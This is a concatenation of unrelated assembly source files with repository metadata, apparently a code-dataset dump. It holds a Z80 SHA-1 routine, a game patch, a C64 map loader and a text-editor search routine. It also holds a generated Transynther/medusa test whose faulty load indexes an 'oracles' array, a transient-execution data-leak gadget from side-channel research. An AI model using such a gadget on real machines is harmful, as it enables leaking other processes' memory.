sha1_temp add hl, de push hl \ pop de add hl, bc ; HACK! This is the correct value to get HL to sha1_a ldir ld a, (ix + sha1_temp) rrca rrca rrca rrca push af ld de, sha1_temp + 3 push ix \ pop hl add hl, de pop af rld \ rl (hl) \ dec hl rld \ rl (hl) \ dec hl rld \ rl (hl) \ dec hl rld \ rl (hl) ld de, 3 + (sha1_k - sha1_temp) ; Undo the three DECs we just did (HL now ; at sha1_temp + 3), then add difference add hl, de ; to get to sha1_k + 3. call sha1AddToTemp ; k call sha1AddToTemp ; f call sha1AddToTemp ; e ld l, (ix + sha1_block_ptr) ld h, (ix + sha1_block_ptr + 1) inc hl inc hl inc hl inc hl ld (ix + sha1_block_ptr), l ld (ix + sha1_block_ptr + 1), h call sha1AddToTemp ; e = d ; d = c ; c = b leftrotate 30 ; b = a ; a = temp push ix \ pop hl ld bc, sha1_d + 3 add hl, bc push hl \ pop de inc de \ inc de \ inc de \ inc de ; sha1_e - sha1_d = 4 bytes ld bc, 20 lddr ld a, (ix + sha1_c + 3) ld b, 2 .ror2: push bc push ix \ pop hl ld bc, sha1_c add hl, bc pop bc rrca rr (hl) \ inc hl rr (hl) \ inc hl rr (hl) \ inc hl rr (hl) djnz .ror2 pop bc dec b jp nz, .rounds ret .do_f_operation: push ix ex (sp), iy ex de, hl ld de, sha1_a add iy, de ex de, hl ld l, (ix + sha1_f_op_ptr) ld h, (ix + sha1_f_op_ptr + 1) ld b, 4 jp (hl) sha1Operation_mux: ; f = (b & c) | (~b & d) = ((c ^ d) & 8) ^ d ld a, (iy + 8) ld c, (iy + 12) xor c and (iy + 4) xor c ld (iy + 20), a inc iy djnz sha1Operation_mux jr sha1Operation_done sha1Operation_xor: ; f = b ^ c ^ d ld a, (iy + 4) xor (iy + 8) xor (iy + 12) ld (iy + 20), a inc iy djnz sha1Operation_xor jr sha1Operation_done sha1Operation_maj: ; f = (b & c) | (b & d) | (c & d) ; = (b & c) | ((b | c) & d) ld c, (iy + 4) ld d, (iy + 8) ld a, c and d ld e, a ld a, c or d and (iy + 12) or e ld (iy + 20), a inc iy djnz sha1Operation_maj ;jr sha1Operation_done sha1Operation_done: pop iy ret sha1AddToTemp: ld de, sha1_temp+3 push ix ex (sp), hl add hl, de ex de, hl pop hl sha1_32BitAdd: ld b, 4 or a _: ld a, (de) adc a, (hl) ld (de), a dec de dec hl djnz -_ ret ;; sha1AddRange [Cryptography] ;; Adds a range of bytes to a SHA1 hash. This ;; routine is equivalent to, but faster than, calling ;; [[sha1AddByte]] many times. ;; Inputs: ;; IX: location of SHA1 state block ;; HL: location of range to add ;; BC: number of bytes to add sha1AddRange: push hl push de push bc push af _: ld a, (hl) push hl call sha1AddByte_noPush pop hl dec bc inc hl ld a, b \ or c \ jr nz, -_ pop af pop bc pop de pop hl ret
23.896396
86
0.525825
fb05badf6b13cd18f4d2c41fed7492f277e0c89b
1,349
asm
Assembly
uw1/eop-orientMouseLook.asm
JohnGlassmyer/UltimaHacks
f9a114e00c4a1edf1ac7792b465feff2c9b88ced
[ "MIT" ]
68
2018-03-04T22:34:22.000Z
2022-03-10T15:18:32.000Z
uw1/eop-orientMouseLook.asm
ptrie/UltimaHacks
2c3557a86d94ad8b54b26bc395b9aed1604f8be1
[ "MIT" ]
19
2018-11-20T04:06:49.000Z
2021-11-08T16:37:10.000Z
uw1/eop-orientMouseLook.asm
ptrie/UltimaHacks
2c3557a86d94ad8b54b26bc395b9aed1604f8be1
[ "MIT" ]
4
2020-09-01T17:57:36.000Z
2022-01-04T20:51:11.000Z
%ifndef EXE_LENGTH %include "../UltimaPatcher.asm" %include "include/uw1.asm" %include "include/uw1-eop.asm" %endif [bits 16] startPatch EXE_LENGTH, eop-orientMouseLook startBlockAt addr_eop_orientMouseLook push bp mov bp, sp ; bp-based stack frame: %assign ____callerIp 0x02 %assign ____callerBp 0x00 %assign var_string -0x20 add sp, var_string push si push di movzx ax, byte [dseg_mouseLookOrientation] inc al add al, 4 mov bl, 4 div bl mov byte [dseg_mouseLookOrientation], ah mov byte [bp+var_string], 0 push cs push offsetInCodeSegment(orientationString) push ss lea ax, [bp+var_string] push ax callFromOverlay strcat_far add sp, 8 test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_X jz afterXSign mov byte [bp+var_string+xSign-orientationString], '-' afterXSign: test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_Y jz afterYSign mov byte [bp+var_string+ySign-orientationString], '-' afterYSign: push ss lea ax, [bp+var_string] push ax callFromOverlay printStringToScroll add sp, 4 pop di pop si mov sp, bp pop bp retn orientationString: db 'Mouse-look orientation: ', xSign: db '+X ' ySign: db '+Y' db `\n`, 0 endBlockAt off_eop_orientMouseLook_end endPatch
19.271429
60
0.693106
ed0b3778907785f8df15384ece5460054443320a
6,807
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_4067_1437.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_4067_1437.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_4067_1437.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x10405, %r11 clflush (%r11) nop nop xor $53820, %rbp movups (%r11), %xmm5 vpextrq $0, %xmm5, %r12 nop nop nop sub $32735, %rbx lea addresses_A_ht+0x1d805, %r12 nop add $62473, %rdx mov $0x6162636465666768, %r13 movq %r13, (%r12) xor $46370, %r12 lea addresses_WC_ht+0x14105, %r12 nop nop nop nop cmp $1370, %rsi movups (%r12), %xmm5 vpextrq $1, %xmm5, %r11 nop nop inc %r13 lea addresses_WC_ht+0x10cf5, %r12 nop nop nop nop dec %rsi movb (%r12), %r13b nop nop nop nop nop xor %rdx, %rdx lea addresses_D_ht+0xd105, %rsi nop nop nop nop nop inc %r12 mov (%rsi), %ebp nop nop nop nop cmp $28060, %rbx lea addresses_normal_ht+0x1ce8f, %rsi lea addresses_WT_ht+0x1f05, %rdi nop nop nop nop nop sub $49983, %r12 mov $77, %rcx rep movsl nop nop nop nop nop inc %rbx lea addresses_A_ht+0x1934d, %rsi lea addresses_normal_ht+0xc5f, %rdi clflush (%rdi) nop nop nop cmp $52490, %r11 mov $29, %rcx rep movsb nop nop nop nop nop sub %rdi, %rdi lea addresses_WT_ht+0x1d705, %rsi lea addresses_A_ht+0x19605, %rdi nop nop nop sub $62671, %rdx mov $89, %rcx rep movsq sub $15709, %rbp lea addresses_UC_ht+0x7805, %rdi nop and %rbx, %rbx movb $0x61, (%rdi) nop nop add %rbx, %rbx lea addresses_normal_ht+0x4005, %r11 nop nop nop nop nop inc %r13 vmovups (%r11), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r12 nop nop add %r12, %r12 lea addresses_UC_ht+0xa12d, %r12 nop nop sub %r11, %r11 mov $0x6162636465666768, %rcx movq %rcx, (%r12) cmp %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi // Faulty Load lea addresses_WT+0xa005, %rdx nop nop nop add $20894, %rbx movb (%rdx), %r11b lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'39': 4067} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
34.907692
2,999
0.659174
7c15e2efb3fbc9529aa379c94e13991ffe9e086e
3,109
asm
Assembly
Scripts/common/maploader.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
1
2022-02-13T16:09:18.000Z
2022-02-13T16:09:18.000Z
Scripts/common/maploader.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
Scripts/common/maploader.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
MAPLOADER: { * = * "Maploader" TileScreenLocations: .byte 0,1,40,41 Column: .byte 0 Row: .byte 0 CurrentMap: .word $0000 CurrentTiles: .word $0000 CurrentColours: .word $0000 Maps: .word $7000, $7500, $7700 MapTiles: .word $7104, $7104, $7104 Colours: .word $71a0, $71a0, $71a0 Offset: .byte 40, 40, 0 CurrentMapID: .byte 1 DrawMap: { lda CurrentMapID asl tax lda Maps, x sta CurrentMap lda MapTiles, x sta CurrentTiles lda Colours, x sta CurrentColours inx lda Maps, x sta CurrentMap + 1 lda MapTiles, x sta CurrentTiles + 1 lda Colours, x sta CurrentColours + 1 // load first char address into first FEED lda #<SCREEN_RAM sta Screen + 1 lda #>SCREEN_RAM sta Screen + 2 // load first colour address into second FEED lda #<VIC.COLOR_RAM sta Colour + 1 lda #>VIC.COLOR_RAM sta Colour + 2 jmp GetMapAddress GetMapAddress: lda CurrentMap sta Tile + 1 lda CurrentMap + 1 sta Tile + 2 lda CurrentColours sta LoadColour + 1 lda CurrentColours + 1 sta LoadColour + 2 lda #ZERO sta Row TileRowLoop: lda #ZERO sta Column TileColumnLoop: ldy #ZERO lda #ZERO sta TileLookup+1 sta TileLookup+2 Tile: //.break lda $FEED sta TileLookup + 1 asl TileLookup + 1 rol TileLookup + 2 asl TileLookup + 1 rol TileLookup + 2 clc lda CurrentTiles adc TileLookup + 1 sta TileLookup + 1 lda CurrentTiles + 1 adc TileLookup + 2 sta TileLookup + 2 !FourTileLoop: TileLookup: // load the map tile at position, offset lda $FEED,y ldx TileScreenLocations,y Screen: sta $FEED, x // load the character colour for same position tax LoadColour: lda $FEED, x ldx TileScreenLocations, y Colour: sta $FEED, x //check whether all tiles loaded iny cpy #4 bne !FourTileLoop- // FourTileLoop jsr NextColumn cpx #20 bne TileColumnLoop // TileColumnLoop jsr NextRow cpx #13 bne TileRowLoop // TileRowLoop rts NextColumn: clc lda Tile + 1 adc #ONE sta Tile + 1 lda Tile + 2 adc #ZERO sta Tile + 2 clc lda Screen + 1 adc #2 sta Screen + 1 lda Screen + 2 adc #0 sta Screen + 2 // move to the next screen row start address lda Colour + 1 adc #2 sta Colour + 1 lda Colour + 2 adc #0 sta Colour + 2 inc Column ldx Column rts NextRow: // move to the next screen row start address clc lda Screen + 1 adc #40 sta Screen + 1 lda Screen + 2 adc #0 sta Screen + 2 // move to the next screen row startaddress lda Colour + 1 adc #40 sta Colour + 1 lda Colour + 2 adc #0 sta Colour + 2 inc Row ldx Row rts } }
14.261468
53
0.556449
eb0ca0d5582a9104a5685b6584fd7f1bf47a1908
45,204
asm
Assembly
Code/CustomControl/RAEdit/Src/Function.asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
11
2016-12-03T16:35:42.000Z
2022-03-26T06:02:53.000Z
Code/CustomControl/RAEdit/Src/Function.asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
1
2018-02-24T20:17:46.000Z
2018-03-02T08:57:40.000Z
Code/CustomControl/RAEdit/Src/Function.asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
4
2018-10-19T01:14:55.000Z
2021-09-11T18:51:48.000Z
.code FindTheText proc uses ebx esi edi,hMem:DWORD,pFind:DWORD,fMC:DWORD,fWW:DWORD,fWhiteSpace:DWORD,cpMin:DWORD,cpMax:DWORD,fDir:DWORD LOCAL nLine:DWORD LOCAL lnlen:DWORD LOCAL lpFind[15]:DWORD LOCAL len[15] :DWORD LOCAL findbuff[512]:BYTE LOCAL nIgnore:DWORD LOCAL prev:DWORD LOCAL cp:DWORD xor esi,esi mov lnlen,esi .while esi<16 mov lpFind[esi*4],0 mov len[esi*4],0 inc esi .endw mov esi,pFind lea edi,findbuff mov lpFind[0],edi xor ecx,ecx xor edx,edx .while byte ptr [esi] && ecx<255 && edx<16 mov al,[esi] mov [edi],al .if al==VK_RETURN inc edi mov byte ptr [edi],0 inc edi inc ecx mov len[edx*4],ecx xor ecx,ecx inc edx mov lpFind[edx*4],edi dec edi dec ecx .endif inc esi inc edi inc ecx .endw mov byte ptr [edi],0 mov len[edx*4],ecx mov ebx,hMem .if fDir==1 ; Down invoke GetCharPtr,ebx,cpMin mov nLine,edx mov ecx,eax sub cpMin,ecx mov edx,cpMin mov eax,-1 .while edx<=cpMax mov nIgnore,0 push nLine xor esi,esi .while len[esi*4] call TstLnDown .break .if eax==-1 inc nLine inc esi xor ecx,ecx .endw pop nLine .break .if eax!=-1 mov edx,lnlen add cpMin,edx mov edx,cpMin inc nLine xor ecx,ecx mov eax,-1 .endw .if eax>cpMax mov eax,-1 .endif .else ; Up mov eax,cpMin mov cp,eax invoke GetCharPtr,ebx,cpMin mov nLine,edx mov ecx,eax mov edx,cpMin mov eax,-1 .while sdword ptr edx>=cpMax mov nIgnore,0 push nLine xor esi,esi .while len[esi*4] call TstLnUp .break .if eax==-1 inc nLine inc esi xor ecx,ecx .endw pop nLine .break .if eax!=-1 && eax<=cp dec nLine mov edi,nLine shl edi,2 mov eax,-1 .break .if edi>=[ebx].EDIT.rpLineFree invoke GetCpFromLine,ebx,nLine mov cpMin,eax add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars mov ecx,[edi].CHARS.len add cpMin,ecx mov edx,cpMin mov eax,-1 .endw .endif mov edx,nIgnore ret TstFind: mov prev,1 push ecx push esi mov esi,lpFind[esi*4] dec esi dec ecx TstFind1: inc esi inc ecx TstFind3: mov al,[esi] or al,al je TstFind2 mov ah,[edi+ecx+sizeof CHARS] .if fWhiteSpace movzx edx,al movzx edx,CharTab[edx] .if (al==VK_SPACE || al==VK_TAB) && (ah==VK_SPACE || ah==VK_TAB) .while (byte ptr [edi+ecx+sizeof CHARS]==VK_SPACE || byte ptr [edi+ecx+sizeof CHARS]==VK_TAB) && ecx<[edi].CHARS.len inc ecx inc nIgnore .endw .while byte ptr [esi]==VK_SPACE || byte ptr [esi]==VK_TAB inc esi dec nIgnore .endw jmp TstFind3 .elseif (ah==VK_SPACE || ah==VK_TAB) && (!ecx || edx!=1 || prev!=1) ;Ignore whitespace .while (byte ptr [edi+ecx+sizeof CHARS]==VK_SPACE || byte ptr [edi+ecx+sizeof CHARS]==VK_TAB) && ecx<[edi].CHARS.len inc ecx inc nIgnore .endw mov prev,edx jmp TstFind3 .endif .endif cmp al,ah je TstFind1 .if !fMC movzx edx,al mov al,CaseTab[edx] cmp al,ah je TstFind1 .endif xor eax,eax dec eax TstFind2: .if fWW && !al .if ecx<=[edi].CHARS.len movzx eax,byte ptr [edi+ecx+sizeof CHARS] lea eax,[eax+offset CharTab] mov al,[eax] .if al==CT_CHAR xor eax,eax dec eax .else xor eax,eax .endif .endif .endif pop esi pop ecx or al,al retn TstLnDown: mov edi,nLine shl edi,2 .if edi<[ebx].EDIT.rpLineFree add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars .if !esi mov eax,[edi].CHARS.len mov lnlen,eax .endif Nxt: mov eax,len[esi*4] add eax,ecx .if eax<=[edi].CHARS.len .if fWW && ecx movzx eax,byte ptr [edi+ecx+sizeof CHARS-1] .if byte ptr CharTab[eax]==CT_CHAR inc ecx jmp Nxt .endif .endif call TstFind je Found .if !esi inc ecx jmp Nxt .endif .endif .else ; EOF .if fDir==1 mov cpMin,-1 mov lnlen,0 .else mov cpMax,-1 mov lnlen,0 .endif .endif mov eax,-1 retn Found: .if !esi add cpMin,ecx sub lnlen,ecx .endif mov eax,cpMin retn TstLnUp: mov edi,nLine shl edi,2 .if edi<[ebx].EDIT.rpLineFree add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars .if !esi mov eax,[edi].CHARS.len mov lnlen,eax sub cpMin,ecx .endif .if !CARRY? NxtUp: .if fWW && ecx movzx eax,byte ptr [edi+ecx+sizeof CHARS-1] .if byte ptr CharTab[eax]==CT_CHAR dec ecx jge NxtUp jmp NotFoundUp .endif .endif call TstFind je FoundUp .if !esi dec ecx jge NxtUp .endif .endif .else ; EOF .if fDir==1 mov cpMin,-1 mov lnlen,0 .else mov cpMax,-1 mov lnlen,0 .endif .endif NotFoundUp: mov eax,-1 retn FoundUp: .if !esi add cpMin,ecx sub lnlen,ecx .endif mov eax,cpMin retn FindTheText endp FindTextEx proc uses ebx esi edi,hMem:DWORD,fFlag:DWORD,lpFindTextEx:DWORD LOCAL lpText:DWORD LOCAL len:DWORD LOCAL fMC:DWORD LOCAL fWW:DWORD mov ebx,hMem mov esi,lpFindTextEx mov eax,[esi].FINDTEXTEX.lpstrText mov lpText,eax invoke strlen,eax .if eax mov len,eax xor eax,eax mov fMC,eax mov fWW,eax test fFlag,FR_WHOLEWORD .if !ZERO? inc fWW .endif test fFlag,FR_MATCHCASE .if !ZERO? inc fMC .endif mov eax,[esi].FINDTEXTEX.chrg.cpMin test fFlag,FR_DOWN .if !ZERO? ;Down xor eax,eax test fFlag,FR_IGNOREWHITESPACE .if !ZERO? inc eax .endif mov ecx,[esi].FINDTEXTEX.chrg.cpMax .if ecx==-1 mov ecx,-2 .endif invoke FindTheText,ebx,lpText,fMC,fWW,eax,[esi].FINDTEXTEX.chrg.cpMin,ecx,1 add len,edx .else ;Up xor eax,eax test fFlag,FR_IGNOREWHITESPACE .if !ZERO? inc eax .endif invoke FindTheText,ebx,lpText,fMC,fWW,eax,[esi].FINDTEXTEX.chrg.cpMin,[esi].FINDTEXTEX.chrg.cpMax,-1 add len,edx .endif .if eax!=-1 mov [esi].FINDTEXTEX.chrgText.cpMin,eax mov edx,len add edx,eax mov [esi].FINDTEXTEX.chrgText.cpMax,edx .endif .else mov eax,-1 .endif ret FindTextEx endp IsLine proc uses ebx esi edi,hMem:DWORD,nLine:DWORD,lpszTest:DWORD LOCAL tmpesi:DWORD LOCAL fCmnt:DWORD LOCAL espsave:DWORD LOCAL esisave:DWORD mov eax,esp sub eax,4 mov espsave,eax mov ebx,hMem mov edi,nLine shl edi,2 mov esi,lpszTest .if edi<[ebx].EDIT.rpLineFree && byte ptr [esi] .while byte ptr [esi] mov esisave,esi mov edi,nLine shl edi,2 call TestLine .break .if eax!=-1 mov esi,esisave invoke strlen,esi lea esi,[esi+eax+1] mov eax,-1 .endw .else mov eax,-1 .endif ret TestLine: xor ecx,ecx mov fCmnt,ecx add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars test [edi].CHARS.state,STATE_COMMENT .if !ZERO? mov ax,[esi] .if [ebx].EDIT.ccmntblocks==1 && ax!="/*" && ax!="*/" jmp Nf .elseif [ebx].EDIT.ccmntblocks==2 && ax!="/'" && ax!="'/" jmp Nf .endif .else call SkipSpc or eax,eax jne Nf .endif Nxt: mov ax,[esi] .if ah .if ax==' $' call SkipCmnt inc esi call SkipWord or eax,eax jne Nf mov al,[esi] .if al==' ' inc esi call SkipSpc call SkipCmnt or eax,eax jne Nf .endif .elseif ax==' ?' call SkipCmnt add esi,2 push esi call TestWord pop esi or eax,eax je Found dec esi call SkipWord or eax,eax jne Nf mov al,[esi] .if al==' ' inc esi call SkipSpc call SkipCmnt or eax,eax jne Nf .endif .elseif al=='%' call SkipCmnt inc esi call OptSkipWord jmp Nxt .elseif ax=="'/" ; comment init .while ecx<[edi].CHARS.len movzx eax,byte ptr [edi+ecx+sizeof CHARS] movzx eax,byte ptr [eax+offset CharTab] .if eax==CT_STRING call SkipString .elseif word ptr [edi+ecx+sizeof CHARS]=="'/" inc ecx inc fCmnt .elseif word ptr [edi+ecx+sizeof CHARS]=="/'" inc ecx dec fCmnt .elseif byte ptr [edi+ecx+sizeof CHARS]=="'" && !fCmnt mov ecx,[edi].CHARS.len .endif inc ecx .endw .if sdword ptr fCmnt>0 xor eax,eax jmp Found .endif jmp Nf .elseif ax=="/'" ; Comment end .while ecx<[edi].CHARS.len movzx eax,byte ptr [edi+ecx+sizeof CHARS] movzx eax,byte ptr [eax+offset CharTab] .if eax==CT_STRING call SkipString .elseif word ptr [edi+ecx+sizeof CHARS]=="/'" test [edi].CHARS.state,STATE_COMMENT .if !ZERO? dec fCmnt .endif inc ecx .elseif word ptr [edi+ecx+sizeof CHARS]=="'/" inc fCmnt inc ecx .elseif byte ptr [edi+ecx+sizeof CHARS]=="'" && !fCmnt mov ecx,[edi].CHARS.len .endif inc ecx .endw .if sdword ptr fCmnt<0 xor eax,eax jmp Found .endif jmp Nf .elseif ax=="*/" ; comment init .while ecx<[edi].CHARS.len movzx esi,byte ptr [edi+ecx+sizeof CHARS] movzx esi,byte ptr [esi+offset CharTab] .if esi==CT_STRING call SkipString .elseif word ptr [edi+ecx+sizeof CHARS]=="*/" inc ecx inc fCmnt .elseif word ptr [edi+ecx+sizeof CHARS]=="/*" inc ecx dec fCmnt .endif inc ecx .endw .if sdword ptr fCmnt>0 xor eax,eax jmp Found .endif jmp Nf .elseif ax=="/*" ; Comment end .while ecx<[edi].CHARS.len .if word ptr [edi+ecx+sizeof CHARS]=="/*" dec fCmnt .elseif word ptr [edi+ecx+sizeof CHARS]=="*/" inc fCmnt .endif inc ecx .endw .if sdword ptr fCmnt<0 xor eax,eax jmp Found .endif jmp Nf .endif call SkipCmnt call TestWord or eax,eax jne Nf xor edx,edx .else call SkipCmnt .while ecx<[edi].CHARS.len xor edx,edx cmp al,[edi+ecx+sizeof CHARS] .break .if ZERO? dec edx movzx esi,byte ptr [edi+ecx+sizeof CHARS] movzx esi,byte ptr [esi+offset CharTab] .if esi==CT_CMNTCHAR .break .elseif esi==CT_CMNTDBLCHAR movzx esi,byte ptr [edi+ecx+sizeof CHARS+1] movzx esi,byte ptr [esi+offset CharTab] .break .if esi==CT_CMNTDBLCHAR .elseif esi==CT_STRING call SkipString .endif inc ecx .endw .endif mov eax,edx Found: retn Nf: mov eax,-1 retn SkipString: push eax mov al,[edi+ecx+sizeof CHARS] inc ecx .while ecx<[edi].CHARS.len .break .if al==[edi+ecx+sizeof CHARS] inc ecx .endw pop eax retn SkipCmnt: .if word ptr [edi+ecx+sizeof CHARS]=="'/" push eax inc ecx .while ecx<[edi].CHARS.len inc ecx .break .if word ptr [edi+ecx+sizeof CHARS]=="/'" .endw .if word ptr [edi+ecx+sizeof CHARS]=="/'" add ecx,2 .endif call SkipSpc pop eax .endif retn SkipSpc: .if ecx<[edi].CHARS.len mov al,[edi+ecx+sizeof CHARS] .if al==VK_TAB || al==' ' || al==':' || (al=='*' && [ebx].EDIT.ccmntblocks!=1) inc ecx jmp SkipSpc .elseif al=='"' call SkipString .if byte ptr [edi+ecx+sizeof CHARS]=='"' inc ecx .endif jmp SkipSpc .elseif al==byte ptr bracketcont .if byte ptr [edi+ecx+sizeof CHARS+1]==VK_RETURN inc nLine mov edi,nLine shl edi,2 .if edi<[ebx].EDIT.rpLineFree add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars test [edi].CHARS.state,STATE_COMMENT jne SkipSpcNf xor ecx,ecx jmp 